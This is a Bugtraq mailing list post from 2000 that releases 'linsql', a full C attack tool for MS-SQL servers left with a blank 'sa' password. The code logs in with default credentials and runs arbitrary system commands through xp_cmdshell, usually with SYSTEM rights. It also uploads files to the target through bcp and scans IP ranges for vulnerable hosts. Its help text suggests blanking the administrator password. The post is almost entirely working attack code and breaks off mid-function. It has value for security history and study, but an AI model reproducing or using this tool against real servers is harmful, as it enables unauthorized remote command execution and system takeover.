Bugtraq mailing list archives
MS-SQL 'sa' user exploit code
From: herbless () HUSHMAIL COM
Date: Tue, 15 Aug 2000 04:37:36 +0000
Hi BugTraq-ers, It has come to light that it is now common knowledge that MS-SQL has a blank 'sa' password by default. This seems to affect a _lot_ of servers on the internet. Since this knowledge has been made public by others, I'll release my program 'linsql' (linux only -- ports anyone?) which can execute arbitrary commands on an MS-SQL host that uses a blank 'sa' password. Note that these commands are executed with the privileges of the MSSQL service - usually `NT Authority\System'. It relies upon the 'xp_cmdshell' stored procedure, but I've never found a server without it. What anyone does with this program is their own business and not my problem/responsibility. Please note that it is still very much a work-in-progress and therefore has bugs/features that are a little unpredictable. If you fix any bugs/add new features then please send me a patch. --herbless () hushmail com ---------%< snip %<------------------------- /* * linsql.c * * A simple command-line client for MS SQL server. * Designed for executing commands on the underlying operating system rather than SQL engine. * That said, it has the ability to perform SQL queries on the server. * Also added file upload system - usually works ;-) if it fails, try again. * * Setup to login as the user 'sa' with no password by default, although this can be changed. * * KNOWN BUGS * -=-=-=-=-=- * - after queries that return no data, all further queries fail.Must restart linsql. Buggy TDS library. * - the upload seems only to work every second try... needs investigation * * TO DO * -=-=- * - add a 'download' function to leech files from target server * - perhaps migrate away from freeTDS to a stable library... if I can find a good open-source jobby * - various aesthetics * - tidy up some of the messy stuff * - I'm sure I'll think of something else.... * * INSTALLATION / COMPILATION * -=-=-=-=-=-=-=-=-=-=-=-=-= * * At present this is known to compile and run on gnu Linux systems - others may work... * * You'll need the FreeTDS version 0.50 available from http://www.freetds.org * Unpack theFreeTDS source. I have modified the code in the following way: * * freetds/src/tds/token.c line 133: * default: fprintf(stderr,"Unknown marker: %d!!\n",marker); return 0; * replace with: default: break; * * The above patch stops the freeTDS libraries from crashing when receiving invalid data. * Now build the libraries. * I recommend copying the compiled freeTDS libraries into your /usr/lib directory OR * on most Linux distributions, add the path of the freeTDS libraries into the /etc/ld.so.conf and run ldconfig * Next, compile this program: * * gcc -o linsql linsql.c -ltds -lncurses * * OR * * gcc -o linsql linsql.c -L<path-to-TDS-libraries> -ltds -lncurses * * Use the first line if you've copied the freeTDS libs into /usr/bin or modified /etc/ld.so.conf * use the second line if you've left the libraries in the standard directory * * Written by Herbless - all ideas, code and bugs are mine. * * Last updated 07/08/2K * */ #include "../freetds/include/tds.h" #include <stdio.h> #include <unistd.h> #include <stdarg.h> #include <termios.h> #include <curses.h> #include <sys/types.h> #include <sys/socket.h> #include <signal.h> #define MAX_BUF_SIZE 256 #define MAX_NUM_DBS 128 #define MAX_INPUT_LEN 8192 // change this for a larger input buffer in interactive mode #define MAX_INPUT_LEN_UPPER_BOUNDS 50000000 // maximum ceiling available for input buffer is 50Megs. Enough ? #define CMD_PADDING 20 #define __PROMPT__ "linsql > " #define UPKEY -1 #define DOWNKEY -2 #define LEFTKEY -3 #define RIGHTKEY -4 #define BACKSPACE -5 #define MAX_COMMANDS 128 #define STATUS_FILE "__linsql__scanfile__temp__" /*********************************************************************************** * the structures we don't really need to use but do because they keep things tidy ***********************************************************************************/ struct { int verbose; int probe; int interactive; int username; int password; int app; int charset; int language; int hostname; int loginID; int test; int log; int scan; } opt; struct { char IP[MAX_BUF_SIZE]; char loginID[MAX_BUF_SIZE]; char password[MAX_BUF_SIZE]; char app[MAX_BUF_SIZE]; char hostname[MAX_BUF_SIZE]; char charset[MAX_BUF_SIZE]; char language[MAX_BUF_SIZE]; char logfile[MAX_BUF_SIZE]; } target; /*********************************************************************************** * declare the function prototypes ***********************************************************************************/ void set_target_defaults(); char *value_as_string(TDSSOCKET *tds,int col_idx); void display_help(); void get_input_string(char *input); void execute_query(char *query); void execute_query2(char *query); void display_db_list(); int do_local_command(char *buf); void display_table_list(); void print_it(char *s, ...); void display_options(); void upload_file(char *fname, char *path); void list_stored_procedures(); void list_columns_in_table(char *query); int get_key(); int get_string(char *buffer, int maxCount); void setup_terminal(); // always call this first void close_terminal(); // always call this before you exit() your program void scan_hosts(char *iprange,int cTimeout, int pTimeout, char *givenName); // scan for vulnerable hosts int probe_login(char *ip); /*********************************************************************************** * mmmm, luvvly global variables. it's an easy life.... ***********************************************************************************/ char *inputBuf, *execCmd,*backSpaceSequence, *cteol, *home, *commandBuf[MAX_COMMANDS]; int inputBufSize=MAX_INPUT_LEN,numCommands=0; TDSLOGIN *login; TDSSOCKET *tds; FILE *logfileFP; struct termios init_settings, new_settings; /*********************************************************************************** * the good old main() function ***********************************************************************************/ main(int argc,char **argv) { int i, invalidArg=0, currArg=1, exitFlag=0, maxx, maxy,x,y, timeout, probeTimeout; char *arg,*processName; /* * setup the default values */ memset((void *)&opt,0,sizeof(opt)); memset((void *)&target,0,sizeof(target)); processName=argv[0]; /* * check to see if we were passed arguments. If not, display short help screen and bail out */ if(argc==1) { printf("linsql -- by Herbless -- July 2K\n"); printf("Syntax:\n"); printf(" -i <IP address> Specify target IP\n"); printf(" -c Command-line interactive mode\n"); printf(" -v Be verbose (recommended)\n"); printf(" -p Probe for default password and exit.\n"); printf(" -u <username> Specify username\n"); printf(" -P <password> Specify password\n"); printf(" -a <appname> Give application name\n"); printf(" -C <charset> Specify charset\n"); printf(" -l <language> Choose language\n"); printf(" -h <hostname> Give client hostname\n"); printf(" -L <logname> Log all I/O to <logname> in append mode\n"); printf(" -s <IP range> [ct] [pt] Scan for vulnerable hosts\n"); printf(" <IP range> in the format a.b.c.d- e or a.b.c-d.e-f etc.\n"); printf(" connect with timeout of [ct] seconds (optional. Default=4)\n"); printf(" login probe timeout at [pt] seconds (optional. Default=10)\n"); printf(" -t Test mode. Used for debugging with no remote connection.\n\n"); printf("Examples:\n"); printf(" linsql -c -v -i 192.168.0.1 Connect to host 192.168.0.1 with username 'sa'\n"); printf(" and the default blank password. If login is\n"); printf(" successful, gives a command prompt.\n\n"); printf(" linsql -p -i 192.168.0.1 Probes 192.168.0.1 and reports if logon succeeded.\n\n"); printf(" linsql -s 192.168.0.1-10 Scans the hosts 192.168.0.1 - 192.168.0.10\n"); printf(" and displays the ones where login was successful.\n\n"); exit(1); } /* * parse all the arguments passed from the shell */ argv++; while(*argv!=NULL&&invalidArg==0) { arg=*(argv++); if(arg[0]=='-') { switch(arg[1]) { case 'i': // get IP address arg=*(argv++); strncpy(target.IP,arg,MAX_BUF_SIZE); break; case 'p': // set probe mode opt.probe=1; break; case 'c': // set interactive mode opt.interactive=1; break; case 'v': // set the verbose mode opt.verbose=1; break; case 't': opt.test=1; break; case 'u': // change the login name (default 'sa') arg=*(argv++); strncpy(target.loginID,arg,MAX_BUF_SIZE); opt.username=1; break; case 'P': // specify a password (default is blank) arg=*(argv++); strncpy(target.password,arg,MAX_BUF_SIZE); opt.password=1; break; case 'a': // specify application to pretend to be arg=*(argv++); strncpy(target.app,arg,MAX_BUF_SIZE); opt.app=1; break; case 'C': // change character set (default us_english) arg=*(argv++); strncpy(target.charset,arg,MAX_BUF_SIZE); opt.charset=1; break; case 'l': // change language (default iso_1) arg=*(argv++); strncpy(target.language,arg,MAX_BUF_SIZE); opt.language=1; break; case 'h': // give client hostname (default mypc) arg=*(argv++); strncpy(target.hostname,arg,MAX_BUF_SIZE); opt.hostname=1; break; case 'L': // do we want logging turned on arg=*(argv++); strncpy(target.logfile,arg,MAX_BUF_SIZE); opt.log=1; break; case 's': if(argc < 3) printf("You must at least specify an IP address or IP range.\n"); arg=*(argv++); if(*argv!=NULL && **argv!='-') { timeout=atoi(*(argv++)); if(*argv!=NULL && **argv!='-') { probeTimeout=atoi(*(argv++)); } else probeTimeout=10; } else { timeout=4; probeTimeout=10; } strncpy(target.IP, arg,MAX_BUF_SIZE); opt.scan=1; break; default: // any other commandline args are invalid invalidArg=1; break; } } else invalidArg=1; currArg++; } /* * make sure all is OK with the passed arguments */ if(invalidArg) { printf("Invalid argument - '%s'\n", arg); exit(1); } if(target.IP[0]==0) { printf("If you want to connect you must give an IP!\n"); exit(1); } if(opt.probe&&opt.interactive) { printf("It makes no sense to probe in interactive mode. Choose only one.\n"); exit(1); } if(opt.log) { if((logfileFP=fopen(target.logfile,"wa"))==NULL) { printf("Could not write to logfile \"%s\"\n",target.logfile); exit(1); } } if(opt.probe==0&&opt.interactive==0) { opt.probe=1; if(opt.verbose) print_it("- No connect mode given. Assuming probe mode.\n"); } if(opt.verbose) display_options(); /* * setup the call to connect() */ set_target_defaults(); /* * display messages in verbose mode */ if(opt.verbose&&opt.probe) print_it("- Probing target [%s]...\n", target.IP); else if(opt.verbose&&opt.interactive) print_it("- Attempting interactive command-prompt mode with [%s]...\n", target.IP); /* * is this a mass scan? */ if(opt.scan==1) { print_it("Scanning %s with connect timeout=%d secs, probe timeout=%d secs.\n", arg, timeout, probeTimeout); scan_hosts(target.IP, timeout, probeTimeout, processName); exit(0); } /* * Attempt to login to server */ if(opt.test==0) if((tds = tds_connect(login))==NULL) { tds_free_login(login); if(opt.verbose) print_it("- Login to [%s] failed.\n", target.IP); exit(1); } /* * Success... we're logged into the SQL server. We can have our wicked way :) * * call this function to initialize my little keyboard routines */ setup_terminal(); if(opt.verbose) print_it("- Login to [%s] succeeded %s\n", target.IP,(opt.test==1)?"(TEST MODE)":""); else if(opt.probe) print_it("*** Login to [%s] succeeded %s ***\n", target.IP,(opt.test==1)?"(TEST MODE)":""); if(opt.interactive) { if(opt.verbose) print_it("- Entering interactive mode. Remember this isn't a shell.\n"); if((inputBuf=(char *)malloc(MAX_INPUT_LEN))==NULL) { print_it("Out of memory allocating input buffer\n"); exit(1); } if((execCmd=(char *)malloc(MAX_INPUT_LEN+CMD_PADDING))==NULL) { printf("Out of memory allocating command buffer with padding\n"); exit(1); } print_it("Type /h or /? for help\n"); /* * this is the command-line code */ while(exitFlag==0) { memset(inputBuf,0,MAX_INPUT_LEN); print_it(__PROMPT__); fflush(stdout); // needed, for prompt to be displayed without adding a cr/lf pair after it get_string(inputBuf,MAX_INPUT_LEN); // read command from keyboard if(inputBuf[0]=='/') // is it a local command ? exitFlag=do_local_command(inputBuf); else if(inputBuf[0]!='\0') // valid buffer ? { strcpy(execCmd, "xp_cmdshell '"); // cheap n cheerful way to build query string without escaping/formatting it strcat(execCmd, inputBuf); strcat(execCmd, "'"); if(opt.verbose) print_it("\nExecuting [%s]\n",execCmd); else print_it("\n"); execute_query(execCmd); } else printf("\n"); } } /* * tidy up and exit cleanly */ if(opt.verbose) print_it("- Tearing down the connection...\n"); if(opt.test==0) tds_free_socket(tds); tds_free_login(login); if(opt.verbose) { print_it("- Disconnected\n"); print_it("- Freeing dynamic memory...\n"); } free(execCmd); free(inputBuf); if(opt.verbose) print_it("- All done. Have a nice day!\n"); close_terminal(); exit(0); } /*********************************************************************************** * functions go here..... ***********************************************************************************/ /* * guess what this does */ void display_options() { print_it("- Using options:\n"); print_it("\tTarget IP: %s\n", target.IP); if(opt.probe) print_it("\tProbe mode\n"); if(opt.interactive) print_it("\tInteractive mode\n"); if(opt.username) print_it("\tUsername (login) \"%s\"\n",target.loginID); if(opt.password) print_it("\tPassword ******\n"); if(opt.hostname) print_it("\tHostname \"%s\"\n",target.hostname); if(opt.app) print_it("\tApplication name \"%s\"\n",target.app); if(opt.language) print_it("\tLanguage \"%s\"\n",target.language); if(opt.charset) print_it("\tCharset \"%s\"\n",target.charset); if(opt.log) print_it("\tLogging to file \"%s\"\n",target.logfile); if(opt.test) print_it("\tTest mode - no connect()\n"); } /* * duh, guess what this does */ void display_help() { print_it("\nlinsql -- by Herbless -- July 2K\n"); print_it("All local commands begin with a '/' character.\n\n"); print_it(" /? or /h - This guff\n"); print_it(" /s <COMMAND> - Send COMMAND as a literal string to the SQL server.\n"); print_it(" Can be used to perform SELECT queries etc.\n"); print_it(" Eg. /s SELECT * FROM foo WHERE bar=\"boz\"\n"); print_it(" /u <DATABASE> - Use DATABASE as the active database.\n"); print_it(" /d - Display a list of databases held on server\n"); print_it(" /t - Display a list of tables in current database\n"); print_it(" /v - Toggle verbose mode\n"); print_it(" /l - Toggle logging mode\n"); print_it(" /L <FILENAME> - Change logfile to FILE\n"); print_it(" /o - Display current options\n"); print_it(" /a <BUFFERSIZE> - Allocate BUFFERSIZE bytes for input buffer. %d is current size.\n", inputBufSize); print_it(" /U <FILE> <DEST> - Upload local FILE to remote DEST directory.\n"); print_it(" Eg. /U myfile.txt c:\\temp\n"); print_it(" /p - Print a list of the stored procdures on the server\n"); print_it(" /c - Display the columns in the given the table.\n"); print_it(" /q - Disconnect and quit\n\n"); print_it("Anything else will be passed to the 'xp_cmdshell' stored procedure and executed by the OS.\n"); print_it("So, you could issue a 'net user administrator \"\"' command for example.\n"); print_it("Note that you cannot use the ' character as it is the SQL query delimiter. Use \" instead.\n\n"); } /* * interpret and act upon '/' local commands */ int do_local_command(char *buf) { char *ptr, *fptr, *pptr, fname[MAX_BUF_SIZE], path[MAX_BUF_SIZE]; int exitFlag=0, newSize; if(buf[1]=='q') // bail out exitFlag=1; else if(buf[1]=='?'||buf[1]=='h') // display help display_help(); else if(buf[1]=='s') // execute a MS-SQL server command, not an operating system one { if(strlen(buf)>3) { strcpy(execCmd,buf+3); if(opt.verbose) print_it("\nExecuting [%s]\n",execCmd); execute_query(execCmd); } else print_it("\nYou must specify a command to execute!\n"); } else if(buf[1]=='d') // show databases display_db_list(); else if(buf[1]=='t') // show tables in database display_table_list(); else if(buf[1]=='l') // toggle logging on/off { opt.log=1-opt.log; if(opt.log) { if((logfileFP=fopen(target.logfile,"wa"))==NULL) { print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile); opt.log=0; } } else fclose(logfileFP); print_it("Logging %s\n", (opt.log==1)?"on":"off"); } else if(buf[1]=='o') // show the current options { display_options(); } else if(buf[1]=='L') // change log file { if(opt.log) fclose(logfileFP); strncpy(target.logfile, buf+3, MAX_BUF_SIZE); opt.log=1; if((logfileFP=fopen(target.logfile,"wa"))==NULL) { print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile); opt.log=0; } else print_it("Log file changed to \"%s\"\n",target.logfile); print_it("Logging %s\n", (opt.log==1)?"on":"off"); } else if(buf[1]=='u') // change current db { if(strlen(buf)>3) { strcpy(execCmd, "use "); strcat(execCmd,buf+3); if(opt.verbose) print_it("\nExecuting [%s]\n",execCmd); execute_query(execCmd); } else print_it("\nYou must specify database to make active!\n"); } else if(buf[1]=='v') // toggle verbose mode { opt.verbose=1-opt.verbose; print_it("\nVerbose mode %s\n",(opt.verbose==0)?"off":"on"); } else if(buf[1]=='a') // change size of allocated input buffer { if(strlen(buf)>3) { newSize=atoi(buf+3); if(newSize < 8192 || newSize > MAX_INPUT_LEN_UPPER_BOUNDS) print_it("The size %d is out of bounds.\nChoose a buffer between %d and %d bytes\n", newSize,MAX_INPUT_LEN,MAX_INPUT_LEN_UPPER_BOUNDS); else { inputBufSize=newSize; if((ptr=(char *)realloc(inputBuf, inputBufSize))==NULL) print_it("Not enough memory for that input buffer.\nKeeping original buffer size."); else { inputBuf=ptr; print_it("Allocated %d bytes for input buffer\n",inputBufSize); } if((ptr=(char *)realloc(execCmd, inputBufSize+CMD_PADDING))==NULL) { print_it("Not enough memory for the exec buffer.\nKeeping original buffer size."); inputBuf=(char *)realloc(inputBuf,MAX_INPUT_LEN); // if the execCmd buffer alloc fails, we have to realloc the inputBuf also } else { execCmd=ptr; print_it("Allocated %d bytes for exec buffer\n", inputBufSize+CMD_PADDING); } } } else print_it("You must specify a new size in bytes\n"); } else if(buf[1]=='U') { ptr=buf+2; if(*ptr!=' ') { print_it("Invalid upload\n"); return exitFlag; } fptr=fname; pptr=path; while(*ptr==' ') // skip blanks after '/U' ptr++; while(*ptr!=' '&&*ptr!='\0') // copy filename into buffer *(fptr++)=*(ptr++); if(*ptr!=' ') // make sure there is something after the filename { print_it("Invalid upload\n"); return exitFlag; } ptr++; while(*ptr!=' '&&*ptr!='\0') // copy path for dest file on remote server into buffer *(pptr++)=*(ptr++); *fptr='\0'; // null terminate the buffers *pptr='\0'; upload_file(fname, path); // upload it! remember the filename is local and may contain directoty parameters... } else if(buf[1]=='p') { list_stored_procedures(); } else if(buf[1]=='c') { if(strlen(buf)>3) { strcpy(execCmd, "sp_columns "); strcat(execCmd,buf+3); if(opt.verbose) print_it("\nExecuting [%s]\n",execCmd); list_columns_in_table(execCmd); } else print_it("\nYou must specify a table to to be able to list the columns\n"); } else print_it("\nOut of cheese error - redo from start.\n"); // invalid local command return exitFlag; } /* * send a prepared query to the MS SQL server * display all output nicely on the screen * gets messy with lines wider than the terminal width. to be fixed :) * the function is from the FreeTDS example code with some changes */ void execute_query(char *query) { int i, rowc=999,resultc=999, row, count=0, gotInside=0; if(opt.test==0) { //print_it("*** calling tds_submit_query() ***\n");fflush(stdout); if(tds_submit_query(tds,query)==TDS_FAIL) { if(opt.verbose) printf("TDS FAIL on tds_submit_query()\n"); return; } //print_it("*** Entering first loop ***\n"); while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED) { gotInside=1; //print_it("*** Entering second loop ***\n"); while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED) { for (i=0; i<tds->res_info->num_cols; i++) print_it("[%s] - %s\n", tds->res_info->columns[i]->column_name,value_as_string(tds, i)); count++; } } if(count==0) if(opt.verbose) print_it("resultc=%d, rowc=%d,gotInside=%d\n",resultc,rowc,gotInside); } } /* * use an 'sp_tables' stored procedure call to get a list of tables in the current database * will fail with unpredictable results if the procedure doesn't exist */ void display_table_list() { int i, resultc=999,rowc=999, row, count=0,gotInside=0; if(opt.test==0) { printf("\n"); if(tds_submit_query(tds,"sp_tables")==TDS_FAIL) { if(opt.verbose) printf("TDS FAIL on tds_submit_query()\n"); return; } while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED) { gotInside=1; while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED) { for(i=0; i<tds->res_info->num_cols; i++) if(strcmp(tds->res_info->columns[i]->column_name, "TABLE_NAME")==0) print_it("\n%s",value_as_string(tds, i)); count++; } } printf("\n\n"); } } /* * use an 'sp_databases' stored procedure call to get a list of databases from the server * will fail with unpredictable results if the procedure doesn't exist */ void display_db_list() { int i, resultc=999,rowc=999, row, count=0,gotInside=0; if(opt.test==0) { printf("\n"); if(tds_submit_query(tds,"sp_databases")==TDS_FAIL) { if(opt.verbose) printf("TDS FAIL on tds_submit_query()\n"); return; } while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED) { gotInside=1; while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED) { for(i=0; i<tds->res_info->num_cols; i++) if(strcmp(tds->res_info->columns[i]->column_name, "")==0||strcmp(tds-
res_info->columns[i]->column_name, "DATABASE_NAME")==0)
print_it("\n%s",value_as_string(tds, i)); count++; } } printf("\n\n"); } } /* * get a string and chop off the new-line added by the dumb-ass fgets(...) */ void get_input_string(char *input) { memset(input, 0, MAX_INPUT_LEN); fgets(input, MAX_INPUT_LEN-1,stdin); input[strlen(input)-1]='\0'; } /* * setup the initial values for the connection parameters * these may be changed by arguments on the commandline */ void set_target_defaults() { strncpy(target.loginID,"sa",MAX_BUF_SIZE); strncpy(target.password,"",MAX_BUF_SIZE); strncpy(target.language,"us_english",MAX_BUF_SIZE); strncpy(target.charset,"iso_1",MAX_BUF_SIZE); strncpy(target.hostname,"mypc",MAX_BUF_SIZE); strncpy(target.app,"Microsoft Access",MAX_BUF_SIZE); login = tds_alloc_login(); tds_set_passwd(login,target.password); tds_set_user(login,target.loginID); tds_set_app(login,target.app); tds_set_host(login,target.hostname); tds_set_library(login,"TDS-Library"); tds_set_charset(login,target.charset); tds_set_language(login,target.language); tds_set_server(login,target.IP); tds_set_packet(login,512); } /* * This function plucked straight from the FreeTDS example code * modified to display strings as the default value instead of an error message */ char *value_as_string(TDSSOCKET *tds,int col_idx) { static char result[256]; const int type = tds->res_info->columns[col_idx]->column_type; const char *row = tds->res_info->current_row; const int offset = tds->res_info->columns[col_idx]->column_offset; const void *value = (row+offset); switch(type) { case SYBVARCHAR: { strncpy(result, (char *)value, sizeof(result)-1); result[sizeof(result)-1] = '\0'; break; } case SYBINT4: { sprintf(result, "%d", *(int *)value); break; } default: { strncpy(result, (char *)value, sizeof(result)-1); result[sizeof(result)-1] = '\0'; //strcpy(result, "NotImp"); break; } } return result; } /* * print to screen and, if necessary, the log file */ void print_it(char *s, ...) { va_list ap; va_start(ap, s); vprintf(s, ap); if(opt.log&&logfileFP!=NULL) vfprintf(logfileFP,s,ap); va_end(ap); } /* * upload a file from the local filesystem to the remote machine * known to be buggy: fails on every second attempt */ void upload_file(char *fname, char *path) { FILE *fp; unsigned char *uploadBuf, buf[10], *ptr, *fptr; int start, end, size, verboseSave, i, ch; print_it("*** Beginning file upload ***\n"); /* * first, before I forget, strip out the directory path from the given filename so things don't get fucked up later. * at the end of the loop fptr will point to a bare filename. path will have any trailing slashes dropped */ size=strlen(fname); ptr=fname+size; while(size--) { if(*ptr=='/') { fptr=ptr+1; break; } ptr--; } if(size<=0) fptr=ptr; if(path[strlen(path)-1]=='\\') // chop any trailing slashes entered by dumb haxors ;) path[strlen(path)-1]='\0'; verboseSave=opt.verbose; opt.verbose=0; // stop execute_query() from shouting about what it's doing. makes things neater print_it("- opening file to upload...\n"); if((fp=fopen(fname,"r"))==NULL) { print_it("Cannot open \"%s\"\nUpload failed\n", fname); return; } start=ftell(fp); // should always be zero fseek(fp,0,SEEK_END); end=ftell(fp); // should be last byte of file. fseek(fp,0,SEEK_SET); size=end-start; // get size of file i=256+(size*2)+(CMD_PADDING*2); print_it("- allocating memory (%d bytes) for file of size %d bytes...\n", i, size); uploadBuf=(unsigned char *)malloc(i); // scrappy memory alloc should work in most cases :) if(uploadBuf==NULL) { printf("Not enough memory. Get a proper computer\nUpload failed\n"); fclose(fp); return; } print_it("- using master database\n"); execute_query("use master"); print_it("- dropping any old haxortable's\n"); execute_query("drop table haxortable"); print_it("- creating table \"haxortable\"\n"); execute_query("create table haxortable (upload image)"); print_it("- building query string to insert file into table...\n"); strcpy(uploadBuf, "insert into haxortable (upload) values(0x"); // start the query string i=0; ptr=uploadBuf+strlen(uploadBuf); do { if(fread(&ch,1,1,fp)) { // read byte from file sprintf(buf, "%2x", ch); // convert to hex pair if(buf[0]==' ') // make sure its a pair for single digits buf[0]='0'; *(ptr++)=buf[0]; // tag it on the end of the query string *(ptr++)=buf[1]; } }while(!feof(fp)); *(ptr++)=')'; *(ptr++)='\0'; // finish the query string fclose(fp); print_it("- insert the file into the temporary table...\n"); execute_query(uploadBuf); // stuff the file into the table print_it("- build a file for redirecting bcp commands");fflush(stdout); execute_query("xp_cmdshell 'echo.> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout); execute_query("xp_cmdshell 'echo 0 >> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout); execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout); execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".\n");fflush(stdout); print_it("- 'bcp' the file out of the database...\n"); sprintf(uploadBuf, "xp_cmdshell 'type c:\\temp\\bcp.cmd | bcp haxortable out %s\\%s -U %s -P %s > nul'",path,fptr,target.loginID,target.password); execute_query(uploadBuf); print_it("*** Wooha! File uploaded to server. Time to cleanup ***\n"); print_it("- removing bcp command file...\n"); execute_query("xp_cmdshell 'echo aaaaaaaaaaaaaaaaa > c:\\temp\\bcp.cmd'"); // overwrite the file with junk execute_query("xp_cmdshell 'del c:\\temp\\bcp.cmd'"); print_it("- drop haxortable\n"); execute_query("drop table haxortable"); print_it("*** All done. \"%s\" should now be on the remote server in \"%s\" ***\n",fptr,path); free(uploadBuf); // remember to free the memory /* * this is a kludge, cos the tds_query routine fucks up with null return strings */ print_it("- Reconnecting as a kludge to fix broken TDS library...\n"); if(opt.test==0) tds_free_socket(tds); tds_free_login(login); login = tds_alloc_login(); tds_set_passwd(login,target.password); tds_set_user(login,target.loginID); tds_set_app(login,target.app); tds_set_host(login,target.hostname); tds_set_library(login,"TDS-Library"); tds_set_charset(login,target.charset); tds_set_language(login,target.language); tds_set_server(login,target.IP); tds_set_packet(login,512); if(opt.test==0) if((tds = tds_connect(login))==NULL) { tds_free_login(login); if(opt.verbose) print_it("- Reconnect to [%s] failed.\n", target.IP); exit(1); } print_it("- Kludge complete\n"); /* * end of kludge */ opt.verbose=verboseSave; } /* * give a list of the stored procedures that are handled by the remote system */. void list_stored_procedures() { int i, resultc=999,rowc=999, row, count=0,gotInside=0; if(opt.test==0) { printf("\n"); if(tds_submit_query(tds,"sp_help")==TDS_FAIL) { if(opt.verbose) printf("TDS FAIL on tds_submit_query()\n"); return; } while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED) { gotInside=1; while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED) { for(i=0; i<tds->res_info->num_cols; i++) if(strcmp(tds->res_info->columns[i]->column_name, "Name")==0) print_it("%s\n",value_as_string(tds, i)); count++; } } printf("\n"); } } /* * does exactly what it says on the box */ void list_columns_in_table(char *query) { int i, resultc=999,rowc=999, row, count=0,gotInside=0; if(opt.test==0) { printf("\n"); if(tds_submit_query(tds,query)==TDS_FAIL) { if(opt.verbose) printf("TDS FAIL on tds_submit_query()\n"); return; } while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED) { gotInside=1; while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED) { for(i=0; i<tds->res_info->num_cols; i++) if(strcmp(tds->res_info->columns[i]->column_name, "COLUMN_NAME")==0) print_it("%s\n",value_as_string(tds, i)); count++; } } printf("\n"); } } /* * uninitialize the curses stuff, then free all the memory allocated for the command history */ void close_terminal() { tcsetattr(fileno(stdin),TCSANOW, &init_settings); while(numCommands--) free(commandBuf[numCommands]); } /* * setup the curses stuff */ void setup_terminal() { setupterm(NULL, fileno(stdout), (int *)0); tcgetattr(fileno(stdin), &init_settings); new_settings=init_settings; new_settings.c_lflag &= ~ICANON; new_settings.c_lflag &= ~ECHO; new_settings.c_cc[VMIN]=1; new_settings.c_cc[VTIME]=0; tcsetattr(fileno(stdin),TCSANOW, &new_settings); backSpaceSequence=tigetstr("cub1"); cteol=tigetstr("dl1"); } /* * this function gets a string from the keyboard * it can be from the command history or a fresh string just typed in * will eventually have line-editing capabilities */ int get_string(char *buffer, int maxCount) { int currChar=0,ch, cmdNum; cmdNum=numCommands; memset(buffer,0,maxCount); do { ch=get_key(); if(ch>0 &&ch!='\r'&&ch!='\n'&&isprint(ch)) { buffer[currChar++]=ch; printf("%c",ch); } else if(ch==UPKEY) { if(cmdNum) { putp(cteol); while(currChar--) { putp(backSpaceSequence); printf(" "); putp(backSpaceSequence); } memset(buffer,0,maxCount); cmdNum--; strcpy(buffer,commandBuf[cmdNum]); currChar=strlen(buffer); printf("%s",buffer); } } else if(ch==DOWNKEY) { if(cmdNum<numCommands-1) { putp(cteol); while(currChar--) { putp(backSpaceSequence); printf(" "); putp(backSpaceSequence); } memset(buffer,0,maxCount); cmdNum++; strcpy(buffer,commandBuf[cmdNum]); currChar=strlen(buffer); printf("%s",buffer); } } else { if(ch==BACKSPACE&&currChar) { putp(backSpaceSequence); printf(" "); putp(backSpaceSequence); currChar--; buffer[currChar]='\0'; } } }while(ch!='\n'&&ch!='\r'&&currChar<maxCount); buffer[currChar]='\0'; if(numCommands) { if(strcmp(commandBuf[numCommands-1], buffer)!=0) { commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN); memset(commandBuf[numCommands],0,MAX_INPUT_LEN); strcpy(commandBuf[numCommands], buffer); numCommands++; } } else { commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN); memset(commandBuf[numCommands],0,MAX_INPUT_LEN); strcpy(commandBuf[numCommands], buffer); numCommands++; } return 0; } /* * custom keyboard handler to read a character or a special key (up,down... whatever) */ int get_key() { int ch; ch=fgetc(stdin); if(ch==0x1b) { fgetc(stdin); ch=fgetc(stdin); switch(ch) { case 'A': return UPKEY; break; case 'B': return DOWNKEY; break; case 'C': return RIGHTKEY; break; case 'D': return LEFTKEY; break; default: return 0; } } else if(ch==127) return BACKSPACE; else return ch; } /* * this routine is a bit messy because: * * (a) It's not commented in any way... * (b) I needed to work around broken TDS libs which hang sometimes * (c) lots of timeout parameters are needed * (d) it's evolution, not design :) * * nevertheless, it works and will scan a list of IP's for vulnerable hosts */ void scan_hosts(char *iprange, int cTimeout, int pTimeout, char *givenName) { char ipToScan[16], currOctet[4][2][4]; // currOctet[octet][from/to][digit] -- from=0 to=1 int octetRange[4][2]; // octect [1.2.3.4][from-to] char *ptr, buf[3], processName[1024]; int o1,o2,o3,o4,fromTo,o,digit,mySock,childPID,i,reset_yet=0,originalTimeout, status; struct sockaddr_in addr; FILE *fp; ptr=iprange; fromTo=digit=o=0; originalTimeout=cTimeout; givenName=(char *)realloc(givenName, 100); while(*ptr!='\0'&&o<4) { fromTo=digit=0; while(*ptr!='.'&&*ptr!='\0') { if(isdigit(*ptr)) currOctet[o][fromTo][digit++]=*(ptr++); else if(isalpha(*ptr)) { print_it("Hehe, IP addresses only... hostnames not supported for bulk scanning :)\nPerhaps I'll do zone transfers later...\n"); exit(1); } else { if(*ptr=='-') { currOctet[o][fromTo][digit]='\0'; fromTo++; digit=0; ptr++; } else { print_it("Invalid char\n"); exit(1); } } } currOctet[o][fromTo][digit]='\0'; if(fromTo==0) strcpy(currOctet[o][1], currOctet[o][0]); o++;ptr++;digit=0; } for(o=0;o<4;o++) for(fromTo=0;fromTo<2;fromTo++) octetRange[o][fromTo]=atoi(currOctet[o][fromTo]); for(o1=octetRange[0][0];o1<=octetRange[0][1];o1++) for(o2=octetRange[1][0];o2<=octetRange[1][1];o2++) for(o3=octetRange[2][0];o3<=octetRange[2][1];o3++) 